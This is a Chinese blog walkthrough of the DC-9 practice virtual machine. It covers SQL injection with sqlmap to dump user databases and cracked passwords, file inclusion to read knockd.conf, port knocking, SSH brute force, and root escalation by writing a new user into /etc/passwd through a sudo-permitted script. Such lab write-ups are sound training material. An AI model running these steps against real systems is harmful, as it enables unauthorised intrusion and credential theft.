• DC-9 靶机


    DC_9

    信息搜集

    存活检测

    image-20231024215650779

    详细扫描

    image-20231024215713222

    后台网页扫描

    image-20231024215731984

    漏洞利用

    漏洞发现

    • 在 search 页面的输入框尝试 sql 注入

      1' or 1=1#
      
      • 1

      image-20231024220118367

      返回大量数据

    • sqlmap 爆破数据库

      sqlmap -u http://10.4.7.154/search.php --dbs --batch  
      
      • 1

      爆破失败,显示未找到参数

      image-20231024220848077

    • 抓包查看

      image-20231024221030943

    • 爆破数据库

      # 查数据库:
      sqlmap -u http://10.4.7.154/results.php --data 'search=1' --dbs --batch  
      
      • 1
      • 2

      image-20231025090035192

    Staff 数据库

    • 爆破表

      #查表:
      sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -tables --batch
      
      • 1
      • 2

      image-20231025090209829

    • 爆破表中数据

      sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -T Users --dump
      
      • 1

      爆破出一条 admin 数据

      image-20231025090516581

    • 密码为 transorbital1

      856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
      
      • 1

    users 数据库

    • 爆表

      sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -tables --batch
      
      • 1

      image-20231025092039018

    • 爆数据

      sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails --dump
      
      • 1

      image-20231025092142004

    • 筛选用户名

      sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C username --dump
      
      • 1
    • 筛选密码

      sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C password --dump
      
      • 1
    • 将用户名密码分别保存到 user.txt 和 password.txt 文件中

    • ssh 爆破,显示被拒绝

      image-20231025103350952

    • 查阅资料

      SSH 的 knockd 是一种基于端口“敲门”(port knocking)的安全措施,它可以在不暴露 SSH 服务端口的情况下,允许合法用户通过特定的端口序列访问 SSH 服务。

      具体来说,knockd 通过监听特定的端口序列,当用户按照正确的顺序敲击这些端口时,会自动解除对 SSH 服务端口的阻止,从而允许用户访问 SSH 服务。这种方法可以有效地隐藏 SSH 服务,避免暴露在公网中,从而提高系统的安全性。

    网页信息搜集

    • 登录网页

      admin
      transorbital1
      
      • 1
      • 2

      image-20231025090918260

    • 发现最下方出现“文件不存在”字样

      image-20231025125832824

    • 尝试文件读取

      image-20231025130603947

    • 读取 knockd.conf 文件

      image-20231025130802409

    • 敲击这三个端口打开 ssh

      nc 10.4.7.154 7469
      nc 10.4.7.154 8475
      nc 10.4.7.154 9842
      
      • 1
      • 2
      • 3

      image-20231025131302748

    • 敲击后可成爆破

      image-20231025131349103

      login: chandlerb   password: UrAG0D!
      login: joeyt   password: Passw0rd
      login: janitor   password: Ilovepeepee
      
      • 1
      • 2
      • 3

    提权

    • 挨个用户登录,搜索提权相关信息

      最终在 janitor 登录后发现了一些密码

      image-20231025131835989

    • 使用这些密码再次爆破 user.txt

      image-20231025132304640

      有爆破出 fredf 用户

    • 登录 fredf 用户

      sudo -l 查看 root 权限

      image-20231025132527829

    • 查看 test

      vi /opt/devstuff/dist/test/test
      
      • 1

      image-20231025132810910

    • 看不懂,运行一下

      给了提示

      image-20231025132920714

    • 查找 test.py

      find / -name test.py 2>/dev/null
      
      • 1

      image-20231025133536592

    • 查看 test.py

      image-20231025133607691

      python 脚本实现了接受两个命令行参数,并将一个文件的内容读取并追加到另一个文件中

    • 尝试向 /etc/passwd 中添加 root 用户

      • 将用户信息写入 shell 文件

        image-20231025134530772

      • 使用有 root 权限的 /opt/devstuff/dist/test/test 写入

        sudo /opt/devstuff/dist/test/test shell /etc/passwd
        
        • 1

        成功写入

        image-20231025134654040

    • 不支持无密码登录

      image-20231025134727219

    • 生成加密密码

      openssl passwd -1 -salt admin 123456
      
      • 1

      openssl: 是一个开放源代码的加密工具包,提供了各种密码学功能和安全协议的实现。
      passwd: 是 OpenSSL 工具包中的一个命令,用于生成密码哈希值。
      -1: 表示使用 Unix 加密哈希算法(crypt)进行密码哈希。
      -salt admin: 指定盐值为 “admin”,盐值是一个随机字符串,用于增加密码哈希的安全性。
      123456: 是要加密的密码明文。

    • 重新编辑,添加到 /etc/passwd

      image-20231025140237059

    • 切换用户,提权成功

      image-20231025140322616

    总结

    • sqlmap 爆破数据库若传参使用 POST 方法需要在 sqlmap 参数中添加 --data 'search=1'
    • ssh knockd 敲击
  • 相关阅读:
    vant 组件库中的 图片上传组件(多张图片上传,删除图片传自定义参数)
    Springboot漫画网站j846u计算机毕业设计-课程设计-期末作业-毕设程序代做
    计算机软件学习大方向
    大语言模型LangChain+ChatGLM3-6B的本地知识库与行业知识库价值体现
    vue 功能:点击增加一项,点击减少一项
    Trie树(字典树)C++详解
    线性代数的学习和整理16:什么是各种空间(类型),向量空间,距离(类型)?
    <el-drawer>中在添加弹窗,遮罩层被覆盖
    环形缓冲区、链表及二叉树示例
    MyBatisPlus笔记
  • 原文地址:https://blog.csdn.net/weixin_51559599/article/details/134044673